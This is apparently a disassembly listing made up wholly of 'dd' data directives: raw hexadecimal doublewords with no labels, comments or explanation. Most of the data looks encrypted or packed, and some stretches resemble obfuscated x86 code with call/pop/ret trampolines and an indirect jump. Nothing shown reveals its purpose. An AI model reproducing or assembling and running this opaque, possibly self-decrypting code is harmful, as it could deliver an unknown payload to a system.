		dd 86FFC158h, 2084BADEh, 221C3DA4h, 0E04901C3h,	0EEBDF684h
		dd 3AE1F20Fh, 3023F6A5h, 0D7F6D7C9h, 0FC39D99Fh, 451D0798h
		dd 9DBCCF74h, 43DC9B04h, 0A7DCC2ECh, 5F2E967Bh,	41C7FBB0h
		dd 75000000h, 0ABA2B15h, 944AF16Eh, 0A283C930h,	8904ACEAh
		dd 631689EDh, 64C93094h, 0F6690D45h, 0CF749F64h, 821D84A5h
		dd 0C2EC88D3h, 8F74BEC5h, 0FBB0A817h, 0C5DCh, 1B86B800h
		dd 9943BEh, 0FA480021h,	0F76ED64Fh, 81E55FC9h, 29B49BFh
		dd 0CCF26B23h, 4A74ED57h, 0AB12ED9h, 0C3C93094h, 0F56AC3E2h
		dd 0C930983Fh, 0BE17CD36h, 0C5A12380h, 917B3EA1h, 6D4CC930h
		dd 74FF553h, 0FD38D89Eh, 0B3780699h, 2F4BCF74h,	0EC7309B0h
		dd 0ABE3C2C2h, 1355FCDDh, 0CD52367Fh, 0C9331BC0h, 2C7211Fh
		dd 99B821A3h, 0A786F0B8h, 0D98BFDC3h, 6CD84E70h, 0EE3B2CC9h
		dd 0D541D87Dh
		dd 1FAh, 0A801BB29h, 1FB62E96h,	0B21BC121h, 0A9138Ch, 0B51CC83Eh
		dd 39AF8D97h, 0A91C228Bh, 35AC923Bh, 0B3102E87h, 0B8DC9831h
		dd 0E6C97427h, 0B10355C2h, 0C26BD94Fh, 0EC0ED4A6h, 9C61351Ah
		dd 0CB79EAD4h, 9B37D062h, 53E97612h, 0BACF749Fh, 0DA9D029Bh
		dd 0DAC2EC88h, 0A12380BEh, 2A511938h, 132D4900h, 0B7960FB5h
		dd 0EC897128h, 33B112C2h, 0FBBE2145h, 0CCC2EC88h, 0B284CCEDh
		dd 0FBB0A852h, 0E5E3h, 0D64F5100h, 5FC9F76Eh, 7AE581E5h
		dd 0C93094BFh, 0F8612908h, 9E3EA29Ch, 0F16E2607h, 0C9309843h
		dd 0E8930C68h, 0E1C93090h, 4DB688C0h, 89A81C88h, 3FA51E20h
		dd 40FD655Bh, 0C6E77EE6h, 7036AFE7h, 553155E0h,	59556D27h
		dd 0B437002h, 743C0A94h, 8EF5CBCFh, 0C2A60F2Eh,	0E3451DB0h
		dd 65FAC80Ah, 0C2EC73B6h, 65173617h, 74F14109h,	0EBADE5DBh
		dd 0CEAACE47h, 0EC02AA51h, 4A0223C2h, 0A75DB12Eh, 0B190C932h
		dd 0C77DEBD5h, 4EF6506Eh, 0EE8500EBh, 39AD347Dh, 0E2h
		dd 0C069D331h, 77DE86FEh, 0CA63D949h, 78D18BF4h, 0CD64E046h
		dd 71D745EFh, 1645AF3h,	6DD4EA43h, 0EB5866CFh, 0F094D079h
		dd 0E6C8AC6Fh, 0F94B1DC2h, 59BA2B15h, 0C3EBA857h, 0D0496821h
		dd 0B97453A2h, 120C89Fh, 53117749h, 0E55FC4FAh,	0D64FFE4Ch
		dd 5CC9F76Eh, 572541E8h, 0C386E578h, 2C6A22EEh,	1F6D0984h
		dd 32A41C8Ah, 0E185CDF8h, 79FB417Eh, 33AE90CFh,	79311089h
		dd 89B72E0Fh, 3F01A81Ch, 18871EC6h, 321D3124h, 5DC481E1h
		dd 3547DEFFh, 2F654A9Dh, 89F6C889h, 2F544AD3h, 39420903h
		dd 21A300EDh, 974DB688h, 8C186A0Eh, 0AB39C9Ah, 0F768561Eh
		dd 0DFA4DC45h, 0D87DE653h, 4E6FF66Eh, 9CA2C66Fh, 4420B923h
		dd 0B18120DBh, 0A988A95Fh, 0FE66DFE1h, 8F367h, 0A9970000h
		dd 72C0883Ch, 0D54FFB49h, 63C0FE67h, 0DB4678E1h, 5FC6F861h
		dd 0E4427CE5h, 61C7F960h, 0DB447AE3h, 5AC6F861h, 0E1457BE2h
		dd 68EDFA63h, 1608h, 68241C89h,	1D4Ah, 81243489h, 4ECh
		dd 24148900h, 0CDD6850h, 0F75807E1h, 2F352DD0h,	8150F1D5h
		dd 666C242Ch, 815E296Fh, 6F666CC6h, 0EC835829h,	24248904h
		dd 4240481h, 5A000000h,	8904EC83h, 0F789243Ch, 5F087A89h
		dd 5A2434FFh, 4C481h, 34FF0000h, 0C4815E24h, 4,	0FAB129E9h
		dd 62F16DFFh, 8CFA4283h, 4274E332h, 0B82C42B5h,	649CD85h
		dd 0E0FFC503h, 34BD7ABBh, 84DA02Ah, 674DEC9Bh, 0C1BEAC0h
		dd 0D27801h, 3BAE67Ah, 1FDC7D1Ah, 5C7E7D3Ah, 63EE49EEh
		dd 5BC14B08h, 70CCA4F5h, 43E4A058h, 46550243h, 5C627A58h
		dd 336C5011h, 216E5498h, 11013736h, 5C0EFEE5h, 75948840h
		dd 5B746099h, 62C6294Dh, 11C59F9Fh, 6A095CEAh, 22EA6ADDh
		dd 3124D969h, 0BB44195h, 0EEF22Ah, 20ACA2D5h, 421E0E96h
		dd 181588B3h, 0D6C97E5h, 0BD83C08Bh, 64420CDh, 83097500h
		dd 440B25BDh, 19740006h, 0C08B5350h, 3FCB8h, 0F5858900h
		dd 8D064402h, 46A84F9Dh, 5BD3FF06h, 25BD8358h, 6440Bh
		dd 53501774h, 3FCB8h, 0F5858900h, 8D064402h, 46A53E9Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A8FE906Dh, 6CBA6663h, 26D28024h
		dd 0D88BC08Bh, 2F11BD83h, 0F010644h, 9184h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 3B728F0Fh, 15AA6C17h, 0BA662A5Ch, 0BD83E254h, 6443149h
		dd 5B850F00h, 0E8000000h, 6, 0B48AB10Ch, 840FBF03h, 2
		dd 835BCDB3h, 442381BDh, 840F0006h, 0B2h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 74C35646h, 0A6F3BA9Bh
		dd 0D71C02Bh, 11E9h, 7B539F00h,	6C41937Eh, 0CA57412Ch
		dd 69A36491h, 6FE9AE23h, 6A000005h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B3A6C355h
		dd 0F97D91F5h, 13E8178Dh, 88000000h, 0F5EE9174h, 6D45236Eh
		dd 0BDA9CA9Fh, 202785BAh, 0BE9B61Fh, 24000000h,	0DACCB176h
		dd 62DEDE62h, 665AACFAh, 0BE2FE281h, 0
		dd 6AD9B7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 721A57C3h, 0C182615Eh, 5A6CEE78h,	65773C8Eh
		dd 0C87FF682h, 0C7BC914Eh, 0C74A59C2h, 0B895B1C2h, 53C6848Fh
		dd 9C5F277Eh, 87EAD57Fh, 841C46E1h, 14F83054h, 0CA7396B2h
		dd 0AD8E4E99h, 0C4C7E4C2h, 0E797B1C2h, 4E96729Fh, 46E195AEh
		dd 0DDF69586h, 8279B1C2h, 5537297h, 87118DBEh, 46FE3BA1h
		dd 5EC81309h, 0C1CC58F1h, 0C78FB1C2h, 0C7F15993h, 9E59B1C2h
		dd 8B35E801h, 83DFB5E6h, 0C739B5E6h, 96D6B1C2h,	297BC901h
		dd 0A685E095h, 2FA7EA98h, 0C779B1C2h, 6551309Fh, 0AD58F812h
		dd 0C4C7E0C2h, 0E797B1C2h, 4E92729Bh, 46E1958Eh, 0D3F69586h
		dd 8679B1C2h, 0C8847293h, 0C7346A7Dh, 0C72C5997h, 9AB7B1C2h
		dd 0AB42EC01h, 8364B5E6h, 0C7E7B5E6h, 923CB1C2h, 9032FD01h
		dd 0D19C30A4h, 0D3C7EA5Dh, 0AC97B1C2h, 9A207D52h, 2BBF46EDh
		dd 0ED459FEBh, 0C2FECCBDh, 967441F3h, 0C75EBB2Bh, 0E9971CC2h
		dd 0D5956112h, 9D9D18B7h, 94253A99h, 0C7F2B42Bh, 2A7CCAC2h
		dd 96E73ED2h, 0C75EA02Bh, 3B8C78C2h, 6C7A1FBCh,	0A2056315h
		dd 1AAFC065h, 57A979CBh, 2F2BE194h, 0C7BCB1D3h,	0E6A94D28h
		dd 0BC338DF9h, 2B5EEE73h, 0B5E55B04h, 0F6EAEB46h, 9D223AA4h
		dd 0C829EA9Ah, 0C7BC8247h, 0C74A59C2h, 0B82EB1C2h, 0D69AA348h
		dd 0C77CE5B9h, 70607B91h, 3827DC09h, 0D390CA0Dh, 0D1BCB1C2h
		dd 38AC9375h, 3C0E86C0h, 62399748h, 0F07625A2h,	9C21B060h
		dd 90F2DB52h, 0C779B22Ah, 4E391C2h, 0E322389Dh,	0E36B30C6h
		dd 0C797A9C6h, 49CF6C2h, 2E138F7Eh, 2F9306C8h, 0C779B1C8h
		dd 5DB1D4CEh, 614FAFA0h, 2E7979ABh, 0C797B1D2h,	34382C7Dh
		dd 2969C7CBh, 6BDDDDC8h, 0D9586187h, 0C6B3EB99h, 9FA0958Eh
		dd 2F7DB1A8h, 0C797B1C1h, 9D08EBE2h, 0C3C1E54Bh, 0C3D6F543h
		dd 0C779B1DAh, 0FD7FE380h, 3B03D760h, 0A7786649h, 0C136DD7Ch
		dd 47CBEBCh, 0CBE0EAA3h, 0ADF2B1C0h, 0C491E6C2h, 0E7BCB1C2h
		dd 4E01729Dh, 462B95BEh, 0DA939586h, 80CBB1C2h,	319C7295h
		dd 95E11E80h, 0B7BCDBA6h, 0A7DC1575h, 0C75EA12Bh, 785A11C2h
		dd 3453475h, 75391692h,	825833C5h, 0F7113045h, 0A62C5D48h
		dd 0C7BCBF2Ah, 1E7720C2h, 2B1210Fh, 7B81B32Eh, 96384A5Ah
		dd 4C84E898h, 96F2DBCAh, 0C779B22Ah, 4E591C2h, 0E312389Bh
		dd 0E36B30C6h, 0C797A8C6h, 49AF0C2h, 78DBA68Fh,	4C943A04h
		dd 0D7914D8Ah, 91BCB1C2h, 2042D9C0h, 970BB925h,	6E56B605h
		dd 2EFA7878h, 0C7E5B1CFh, 0D363AB79h, 49310160h, 18EBCDC9h
		dd 0C6E6EA6Fh, 0AD2FB1C2h, 0C47FE3C2h, 0E7CBB1C2h, 4EBF7298h
		dd 46F69596h, 0D37D9586h, 85BCB1C2h, 0A11A7290h, 97D03079h
		dd 101CD793h, 0E3C73898h, 1E69D737h, 2FA4B1A8h,	0C779B1C1h
		dd 997FEFE2h, 0C37AC54Bh, 0C30BF543h, 0C797B1D4h, 3B08E784h
		dd 0C20C4541h, 8BF2B1C2h, 82EF2E6Bh, 0C8B87034h, 0C75FAD47h
		dd 0D5C6E3C2h, 6797B1C2h, 6000AD5h, 9FD73AC7h, 0B8C541C4h
		dd 95F9B6E2h, 97E5EB01h, 3963FE78h, 0FEAFEAB2h,	7312BEAAh
		dd 2ECBB1C3h, 0C7E5B1D3h, 212B3116h, 20F7BD4Ah,	0BD8E9CFBh
		dd 0B6EF84EFh, 4649D16Eh, 0A1586D04h, 0A60F6A7Ah, 2EE4C849h
		dd 0C7F2B1C4h, 3E7598E8h, 383D5A1Ch, 475EB1C2h,	0C65633CDh
		dd 0C7FDB1C2h, 0C7C85991h, 9CC5B1C2h, 9B7BEA01h, 83F8B5E6h
		dd 0C7AAB5E6h, 941DB1C2h, 0D7724301h, 0B07D5B43h, 420CD926h
		dd 0C1AC7E2Ch, 0C7F2B1C3h, 2F2CB1A8h, 0C7BCB1C1h, 9A9DECE2h
		dd 0C30BDD4Bh, 0C3B3F543h, 0C7CBB1D8h, 5D26E487h, 43CD5BD3h
		dd 0D690A916h, 0FCBCB1C2h, 8003E2EBh, 0EA808D9Eh, 0CB2CCB1Ah
		dd 0FEE8B3B1h, 0C7E4A02Bh, 95F2DBC2h, 0C779B22Ah, 4E691C2h
		dd 0E30A3898h, 0E36B30C6h, 0C797ADC6h, 499F3C2h, 95EDB42Eh
		dd 37241959h, 0C79C5825h, 0C7D6B1C2h, 0C75D5995h, 980FB1C2h
		dd 0BB1EEE01h, 834AB5E6h, 0C7F3B5E6h, 90B5B1C2h, 49103501h
		dd 704F30A4h, 0C734E8A2h, 0C72C5992h, 9FB7B1C2h, 8342E901h
		dd 8364B5E6h, 0C7E7B5E6h, 9739B1C2h, 0A7E14E01h, 0A78D3AA4h
		dd 0C9C67349h, 7797B1C2h, 77F201FBh, 77DC01FBh,	77CB01FBh
		dd 2E18D0FBh, 0C7BCB1CBh, 0FD9632B2h, 6405C276h, 0BE14D795h
		dd 43C44EC9h, 0C7E5B1ADh, 2FA7B1A8h, 0C779B1C1h, 9A7FECE2h
		dd 0C37ADD4Bh, 0C30BF543h, 0C797B1DBh, 0F08E487h, 2B63DF2Ch
		dd 0D77EBE77h, 2E79B1C2h, 0C7BCB1C9h, 0D5328E80h, 1E929FCDh
		dd 0E6F97Bh, 8E045F47h,	0C7E5B0C4h, 96F2DBC2h, 0C779B22Ah
		dd 4E591C2h, 0E312389Bh, 0E36B30C6h, 0C797A8C6h, 49AF0C2h
		dd 152AD124h, 46A30B14h, 9D21D918h, 0BB06EBACh,	8F709052h
		dd 0BC966B49h, 4AF0D571h, 8E1D7F47h, 0EF583CC4h, 0FCF4F817h
		dd 0F77EC53Ah, 807560CDh, 0C7344429h, 0C72C5997h, 9AB7B1C2h
		dd 0AB42EC01h, 8364B5E6h, 0C7E5B5E6h, 923CB1C2h, 0AED71701h
		dd 0A1843A59h, 612F7243h, 0E8860C41h, 0C8CAB786h, 0C7E53A46h
		dd 0C7FE58C2h, 502B1C2h, 8FA1AC52h, 0E1842937h,	7AACD73Ch
		dd 0C1D3808Bh, 0AA4EBEC2h, 0ADE5B1C2h, 0C41AE4C2h, 0E779B1C2h
		dd 4EE1729Fh, 465A95AEh, 0DC2B9586h, 8297B1C2h,	30D47297h
		dd 7A1D0008h, 49FD55F1h, 0C779B1C6h, 0A6DDD1A2h, 0AE9430A4h
		dd 469232C9h, 0C791F5E1h, 0C7F835CDh, 0C78FB1C2h, 0C7F15993h
		dd 9E59B1C2h, 8B35E801h, 83DFB5E6h, 0C734B5E6h,	96D6B1C2h
		dd 0FFBD6C01h, 0FAC9B93Dh, 7C94E1CFh, 7D22702Dh, 0C18D2744h
		dd 0C75E252Bh, 0D69232C2h, 0C691F5EDh, 0C7B934CDh, 0C78FB1C2h
		dd 0C7F15994h, 9959B1C2h, 0B335EF01h, 83DFB5E6h, 0C738B5E6h
		dd 91D1B1C2h, 79D5C801h, 0C78FECF5h, 0C7F15991h, 9C59B1C2h
		dd 9B35EA01h, 83DFB5E6h, 0C739B5E6h, 94D4B1C2h,	0C1479F01h
		dd 59F4343h, 0C8318083h, 0FD906F7Dh, 0ADBCB1C2h, 0C4B6E6C2h
		dd 0E72FB1C2h, 4EC8729Dh, 46CF95BEh, 0D3E19586h, 80F2B1C2h
		dd 0C8F47295h, 0A1EE6075h, 9D2D6879h, 1B94D79Fh, 8BD0678h
		dd 0C7CBB42Ah, 54E699C2h, 234183B6h, 0D7C43C98h, 4ABAF812h
		dd 8E882A4Fh, 9B3209C4h, 42A4CAF8h, 0C18FABCFh,	0BC967EE9h
		dd 4AF0D571h, 8E1D7F47h, 0EF583CC4h, 0FCF4F817h, 0F77EC53Ah
		dd 807560CDh, 5E98329h,	0BD83A4F3h, 649CFEEh, 8D0D7400h
		dd 444E558Dh, 1B806h, 0E1FF0000h, 0A96DBB40h, 0E88331F2h
		dd 0C08BFC2Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	9CC35040h, 0CE80777Ah, 0CDBD8337h, 64420h, 0BD830975h
		dd 6440B25h, 50197400h,	0B8C08B53h, 3FCh, 22298589h, 9D8D0644h
		dd 646A8B6h, 585BD3FFh,	0B25BD83h, 74000644h, 0B8535017h
		dd 3FCh, 22298589h, 9D8D0644h, 646A557h, 585BD3FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 7CC35242h, 0EE80918Ah
		dd 0FE879h, 0F800000h, 79C2DA2Ch, 0A6648E4Bh, 0C862D486h
		dd 0D3B70F03h, 53006A5Ah, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0F3DE519Fh, 0F72AFF0Ah
		dd 0CA8166EFh, 0C08B536Fh, 98E9h, 9400h, 500h, 100h, 0A2800h
		dd 200h, 20h dup(0)
		dd 0E636F900h, 0C0CE90Fh, 0AB680000h, 0E90649D9h, 0FFFAA6C2h
		dd 49DAB868h, 0A6B8E906h, 0AD68FFFAh, 0E90649DBh, 0FFFAA6AEh
		dd 49DC3468h, 0A6A4E906h, 0DA68FFFAh, 0E90649DDh, 0FFFAA69Ah
		dd 49DE3C68h, 0A690E906h, 9C68FFFAh, 0E90649E1h, 0FFFAA686h
		dd 49E2A068h, 0A67CE906h, 71D3FFFAh, 0E85C62CBh, 77EBD57Ch
		dd 0ED526CC5h, 6ED8E64Fh, 0B37D5FF6h, 0CC65DF49h, 78D193F2h
		dd 0C861DB46h, 7ED78DF6h, 1AC15E3Ah, 0B3C2E6BCh, 0D64F57E5h
		dd 5CC9F76Eh, 6B0741E8h, 1C224622h, 84A53CA8h, 94BC7FE0h
		dd 2C0DC930h, 0B509FB64h, 6140CF74h, 74B067F8h,	5B20C2ECh
		dd 8FFA6ACFh, 3D3BFBB0h, 5F000000h, 0C75E0661h,	371CAEE6h
		dd 2A9A0D9Bh, 6AF06F0Bh, 0B1CF749Fh, 0E6AE168Fh, 0B728B190h
		dd 0C2EC8900h, 3BAA94F0h, 0E92E53DAh, 93B2B6F1h, 18632B0Ah
		dd 5BD290Eh, 0B376FBB0h, 0C4000000h, 0F76ED64Fh, 7CE55FC9h
		dd 0FA63E142h, 4CE55FC4h, 30989FD3h, 0A82D96C9h, 3B1A8339h
		dd 524A005h, 0B33192ACh, 49C46C2Ah, 0C77492Dh, 0C5871850h
		dd 4CF7492h, 26CA8C25h,	0F66990F0h, 0C2EC8E43h,	0A584A584h
		dd 36E65EC1h, 5967C933h, 335776EEh, 80299B0Dh, 5C1F80E4h
		dd 6DC92DE6h, 0CC3A044Ch, 682FBD18h, 0C8517DEEh, 0A085Ch
		dd 0DE7EE400h, 67DD4977h, 2C90F0CEh, 9646BB85h,	3DA7013Fh
		dd 8E6EB694h, 3B05AC18h, 8FB118CCh, 3F01A814h, 0F3B71EC6h
		dd 0BB510897h, 2C7AC2E6h, 6BD94F9Eh, 0DD87FCC2h, 795CBB9h
		dd 27E0B749h, 6D2504C0h, 2B1576C4h, 0B19009BBh,	0DF13BFF9h
		dd 30949940h, 2D1332C9h, 0B19009BBh, 0D16BF490h, 38CF749Fh
		dd 581F8019h, 58C2EC89h, 294C4E3Ch, 846A2188h, 866BB7CCh
		dd 0FBB0781Eh, 0CDD7h, 0D64F6500h, 0D1340A6Eh, 829930Ch
		dd 8455E391h, 3FD49EB9h, 0C4201Eh, 79EFD148h, 85CD52CBh
		dd 88C93007h, 0C873EC1Bh, 1C92FFFh, 96A80120h, 682EB72Dh
		dd 63D71EC8h, 50ECD6F5h, 4E6F4EF6h, 1DF7B52Ah, 1736CF74h
		dd 0DD58F8BEh, 0BEAD26B9h, 4F6EC932h, 29D04F2Bh, 0A2C92DB6h
		dd 0CBAFCB83h, 0D0308DF5h, 0F5D4F56Ch, 0B64B0E91h, 5D7CC92Dh
		dd 18BD2B15h, 6BE27ACh,	69FBE9Fh, 91AF0627h, 0B0288D37h
		dd 0E67DEE18h, 8FBEB7Fh, 8DF70000h, 4CB8862Fh, 930F3198h
		dd 41BE8029h, 9A0C329Bh, 77A1832Ah, 8A12385h, 0BC15CF36h
		dd 14BD1F82h, 0A20BB92Ah, 5E1D82E6h, 6FC2E6BAh,	0D94F8B39h
		dd 87FCC26Bh, 2E1074DDh, 0B2930AB2h, 0D64F48FAh, 5CC9F76Eh
		dd 6B0741E8h, 0CDD94622h, 0CF7A6Bh, 0A7B4521h, 88FDC35Ah
		dd 0D1B5FDDCh, 72D176EFh, 0DD42EBCAh, 0C2E6BDAEh, 872E670Fh
		dd 29C93E34h, 491788ECh, 88C92AC0h, 8914BB6h, 526C0829h
		dd 0F7D64FEDh, 7660FFBFh, 0C55CEBB7h, 727B3EA1h, 724C356Bh
		dd 0C78FAE0Eh, 0C0A4F181h, 0AF8A815Fh, 29B6D23Bh, 33AF5F72h
		dd 44327A5Bh, 16BAFC65h, 5F9645DAh, 47F33AFh, 2E0F2E58h
		dd 0D6D1D54Ah, 2D0C39F6h, 560E7749h, 8DFF9BFFh,	0A9E15F29h
		dd 9645DA03h, 37356A32h, 0A3DE7745h, 4C6D6BD8h,	4C93A04h
		dd 0BB1E3F9Dh, 0EE2A84D5h, 66EFA63h, 0E2000008h, 4B75DC80h
		dd 0FEC069DBh, 4D73DA82h, 0FFC168D4h, 5072DB89h, 72F254C8h
		dd 0C282E5DBh, 4EEE556Bh, 0F86CD9E7h, 0EE711551h, 0C2E6B92Bh
		dd 3778CA9Ch, 476129Bh,	0A8DF0531h, 395D15C5h, 5BC52F5Dh
		dd 611C857h, 9BBAC930h,	89F0E8E9h, 0F0465EC1h, 0AB95CF79h
		dd 0B4289936h, 8AABDD95h, 0B574D0EEh, 39A6168Bh, 0C2E6E982h
		dd 0E24B6A4Bh, 65FC68DCh, 1CC83F01h, 0D2ECA485h, 2256F371h
		dd 0D87BA56Dh, 77FD541h, 97B0000h, 60C4FA53h, 0F734DE4h
		dd 0C53A04ADh, 2680BE17h, 0EB3517BEh, 4AD1771h,	0B019CB3Ah
		dd 0A9138Eh, 0B61FC53Eh, 520996F2h, 7BC2E6B8h, 9B379F2Dh
		dd 726960Dh, 6BE8FC63h,	425CF7Ah, 0E09B0460h, 0E9C2E6BCh
		dd 8833ACC8h, 41C2E6BDh, 724C2860h, 0BCFA5311h,	0EC1D8218h
		dd 38345EBCh, 5372531Eh, 0DCC5337h, 0F6C2E708h,	81A0D68Eh
		dd 9332ADC9h, 46C2E708h, 5EF09234h, 1D231B54h, 82A33AAAh
		dd 49DBCCAh, 0E715DD9Bh, 803CA4C2h, 2BA2719h, 0C46E159Bh
		dd 0AA740F48h, 2DEC7317h, 9EC2E716h, 65C1F7BFh,	8EFBAB31h
		dd 57h,	0BA2B153Ch, 0FAB2930Ah,	0F99D18BCh, 3094B766h
		dd 78780AC9h, 23A10406h, 464E1551h, 0C059780Eh,	3088985Fh
		dd 5A0261C9h, 0D98BFDC3h, 0BB2440h, 0C9C93088h,	111D66E8h
		dd 9801BB24h, 0BBDF98B9h, 0EBA32185h, 45A18690h, 0EE01F4A3h
		dd 7, 1CAE55Ch,	15570000h, 0D34CBB2Bh, 0C9309428h, 38A180A1h
		dd 0BC2719h, 43F0B899h,	64C2FC4Fh, 42EEA8E0h, 6E30AFCBh
		dd 0AFCF7497h, 3ED83191h, 2B31D2A6h, 4FBBC9E8h,	7583A737h
		dd 25410120h, 58047F41h, 0BC7FE0C1h, 0DC2EC30h,	96FB642Ch
		dd 0E77296DFh, 39A6C24Bh, 2585E167h, 0F774C6B4h, 5DF42AA0h
		dd 26426315h, 2C70A454h, 276F30C4h, 8E58F8BEh, 0E959BBD7h
		dd 0B9CBEA73h, 89A81827h, 377272EDh, 8AAB1FCDh,	0A273D0EEh
		dd 944196DBh, 204465C7h, 763EA61Eh, 0C084E1DFh,	1081F65h
		dd 0CC58C1D4h, 5D9h, 248D2F95h,	933AAA1Ah, 2E8735ADh, 0A40DAF10h
		dd 11B82C9Ah, 1573E933h, 0CD3806AFh, 2180BE17h,	0B72C12BBh
		dd 84E0A40Dh, 0E6B7601Bh, 8D3F69C2h, 0A6ED64Fh,	9B3D0178h
		dd 9DCBB92Bh, 0D34A0239h, 6E3FD95h, 7364E86Bh, 5DC2A687h
		dd 0CF7453CBh, 0AC923B1Ah, 68288D37h, 9E7BA885h, 5779307h
		dd 11730000h, 0C83C02ABh, 178BB51Ch, 0CD320CA5h, 8EF8C66Fh
		dd 0D35D7FD6h, 0EC45FF69h, 58F173D2h, 0E841FB66h, 5EF76DD6h
		dd 3AE17E1Ah, 93C2E6B6h, 0D64F77C5h, 5CC9F76Eh,	146F71E8h
		dd 5FB82D0Ah, 5B5BBABBh, 0A801203Ch, 0D292F2CCh, 14226A4Bh
		dd 1F48EB0h, 6ED64F71h,	0CE9ED6F7h, 30h, 129B377Ch, 0A123E976h
		dd 4B6ACF74h, 1988B6D2h, 531B3AA3h, 0EC8809CCh,	26F08BC2h
		dd 0B0A765C1h, 0AFC8BAFBh, 91D06166h, 39792961h, 0CB000000h
		dd 76129B37h, 2C64D848h, 0E275D748h, 0D5F4CF74h, 5DA7D5B1h
		dd 1750C9FDh, 3FA799D1h, 5B32C85h, 8CC2EC92h, 3A04AD17h
		dd 0B61B49CAh, 88D11BCFh, 0B2A430A9h, 16000004h, 76129B37h
		dd 74AD33E9h, 22BB9ACFh, 0A43DA71Ch, 0D58A94EFh, 0F094F03Dh
		dd 76EF55CEh, 0FD64D848h, 2AB5FDDCh, 0C9309470h, 0EFD17859h
		dd 1157CE76h, 0CF503481h, 0CF74AE15h, 0E72898A6h, 986A427Ch
		dd 0B6FEDFA8h, 4678E1C0h, 0C1FF66DEh, 0E967FE66h, 0CCB48892h
		dd 158E6BB7h, 5C6206AFh, 420264E9h, 0C56D2B63h,	0FC6AEF57h
		dd 0D1F0D148h, 0EF576948h, 42305475h, 0F04EA5A6h, 5F0560CCh
		dd 8EC6E7C6h, 0F8FC8EEAh, 2C88D09Ch, 0B20C93DBh, 1C93073h
		dd 0E7E96373h, 7C5DC480h, 9519060Eh, 138AABDDh,	950CB82Dh
		dd 0D78C96EDh, 996F23Bh, 0CF74A0B7h, 15C73A04h,	0A30A2B5Dh
		dd 25BC289Dh, 59037F41h, 97A9E1C0h, 8A3AAC31h, 73BDCFABh
		dd 0E7D5CF03h, 0AD930A42h, 211F8636h, 0CD861FC5h, 0DB906CB6h
		dd 2C9976A0h, 0BB5711B8h, 6A4BF96Dh, 910E6A0Eh,	0C2EC1DEAh
		dd 158AC2E3h, 0C930386Fh, 0E8D64F6Eh, 93ADC97Bh, 63FAB232h
		dd 21B6601Bh, 0FF600491h, 0CF744245h, 993EA896h, 0A93B22Ah
		dd 1E4AF16Eh, 0A283C2ECh, 0CFBDCB83h, 0F900A48h, 0C2EC0D4Ch
		dd 3D2E5C7Dh, 94E9BF42h, 0C8F76F45h, 92ACC8E9h
		dd 6FC68E2Eh, 0E970F451h, 5FF66ED7h, 0E6F7919h,	3B1E08C9h
		dd 21FCBD2h, 337FA070h,	0D7487612h, 798FC65h, 0C2EBAA54h
		dd 4B755475h, 0DCFD64D8h, 756FF094h, 0D4C92FCBh, 0D825ECA6h
		dd 3B1A4FB7h, 7E7A3DA2h, 17AC930h, 99D43015h, 6B5501F4h
		dd 500048FCh, 6Ah, 419B37E2h, 41B07112h, 91F5D4D9h, 74936C0Eh
		dd 853D4FCFh, 0EB6111Fh, 74C4B697h, 0F187CF23h,	0CFEE56CFh
		dd 620EC956h, 91F7C2ECh, 10744AD3h, 58F56A54h, 0C15879EBh
		dd 827AA4DFh, 0DD3A1C5h, 7CE85D96h, 43B6C4E5h, 0F666DD07h
		dd 516F4E6Fh, 7D064EF6h, 0E57A1EB1h, 0C2EC0236h, 0C8FEB697h
		dd 0FBB0215Ch, 0DF99h, 0D64F2B00h, 5FC9F76Eh, 0E1427CE5h
		dd 5FC4FA63h, 4ED785FAh, 0A7BB1D6Fh, 5F240257h,	58681A7Eh
		dd 0E6E3C818h, 38A70E46h, 0C92FA5F8h, 0F55C087Dh, 8B39AF91h
		dd 0DC88FDC3h, 756F0345h, 0D6B6886Ch, 305475A7h, 593BB342h
		dd 551D13BCh, 0F66B5531h, 0EC75EF59h, 3BA4ECCDh, 0CF73B8A5h
		dd 0AAEC4564h, 74EB8F06h, 0C9326177h, 95F195B4h, 11883CABh
		dd 940DB72Fh, 0E2DC94B5h, 5769C084h, 0F2A936F1h, 93C92E1Fh
		dd 0A2BB232h, 0FE635D7Ch, 8CDA7F5Eh, 7A7DEEB2h,	21777E3h
		dd 71D30000h, 0E85C62CBh, 77EBD57Ch, 0ED526CC5h, 6ED8E64Fh
		dd 0B37D5FF6h, 0CC65DF49h, 78D193F2h, 0C861DB46h, 7ED78DF6h
		dd 1AC15E3Ah, 0B3C2E6B3h, 0D94F57E5h, 31B3102Eh, 631689A8h
		dd 64C93094h, 0F3CD6445h, 0C97BD292h, 76129B37h, 749F53E9h
		dd 53CCA8CFh, 0C2EC89A8h, 3E480021h, 5E19861Fh,	27C2EC89h
		dd 0A39D04C0h, 6C069F45h, 76310B17h, 0C83C210Dh, 6DFBB0A8h
		dd 0CAh, 6ED64FDFh, 0E55FC9F7h,	0E37C187Ch, 0C9309438h
		dd 61F86CD9h, 5F173640h, 309890C0h, 0A42085C9h,	0AB1B690Dh
		dd 223643ADh, 88FDC38Bh, 1F2145DCh, 80A138A4h, 0ABE28EC8h
		dd 0B3CE50CFh, 2E0FCF74h, 0B731C187h, 3EA5771Dh, 71BEC9Eh
		dd 3D036746h, 45681ACAh, 1C71BB3Ah, 25BADE96h, 0C932ECC9h
		dd 0C1D77604h, 3D188425h, 0DD46781Ch, 754B2F67h, 70D54E13h
		dd 0E8715014h, 7F41E8C9h, 0A2FE5B09h, 687DEE0Fh, 11365F1h
		dd 75EF0000h, 0F4506EC7h, 7BE7D970h, 0E95668C1h, 82E4DA73h
		dd 0DF496BC2h, 0F0590B7Dh, 44ED57CEh, 0FC55077Ah, 4AE361C2h
		dd 46F56A0Eh, 87C2E6B2h, 0D94F63D1h, 87FCC26Bh,	2087B9DDh
		dd 541C3DA4h, 0D64F4FFDh, 0F793F76Eh, 3094B168h, 733B1AC9h
